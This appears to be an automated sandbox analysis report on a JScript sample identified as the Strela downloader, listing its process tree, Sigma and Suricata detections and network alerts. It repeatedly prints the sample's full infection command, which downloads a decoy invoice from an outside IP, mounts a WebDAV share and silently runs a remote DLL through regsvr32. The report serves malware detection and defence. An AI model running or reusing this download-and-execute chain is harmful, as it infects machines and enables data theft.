Edit tour

Windows Analysis Report
217216328232499881.js

Overview

General Information

Sample name:	217216328232499881.js
Analysis ID:	1588387
MD5:	a0a0ad1692b4b768220fe894713744dd
SHA1:	94456df79c831e921baf44d8eca687852f345f7f
SHA256:	2b09e96f6f4f05a616261d911bbec90feec7a96ca30022489f7ed0dfe1fafdc4
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 1212 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\217216328232499881.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 972 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\806599552019.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 4072 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 1460 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 5996 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 2536 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 6108 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1544,i,1808535694798549157,12616160667384568895,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 5956 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 5740 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 6308 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 1212	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\806599552019.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 972, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 1460, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\806599552019.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 972, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 1460, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\217216328232499881.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\217216328232499881.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\217216328232499881.js", ProcessId: 1212, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 5740, Protocol: tcp, SourceIp: 192.168.2.6, SourceIsIpv6: false, SourcePort: 49711

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\806599552019.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\806599552019.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\217216328232499881.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1212, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\806599552019.dll, ProcessId: 972, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\806599552019.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\806599552019.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\217216328232499881.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1212, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\806599552019.dll, ProcessId: 972, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\806599552019.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\806599552019.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\217216328232499881.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1212, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\806599552019.dll, ProcessId: 972, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\806599552019.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\806599552019.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\217216328232499881.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1212, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\806599552019.dll, ProcessId: 972, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\806599552019.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\806599552019.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\217216328232499881.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1212, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\806599552019.dll, ProcessId: 972, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\217216328232499881.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\217216328232499881.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\217216328232499881.js", ProcessId: 1212, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\806599552019.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 972, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 1460, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5956, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 5740, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 6308, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5956, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 5740, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\806599552019.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\806599552019.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\217216328232499881.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1212, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\806599552019.dll, ProcessId: 972, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T01:45:41.501995+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.6	49710	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T01:45:44.105128+0100	1810005	1	Potentially Bad Traffic	192.168.2.6	49711	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T01:45:41.501995+0100	1810000	2	Potentially Bad Traffic	192.168.2.6	49710	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 217216328232499881.js

Virustotal: Detection: 9%

Perma Link

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 217216328232499881.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 217216328232499881.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.6:49711 -> 193.143.1.205:8888
Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.6:49710 -> 193.143.1.205:80

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 00:45:41 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 8888
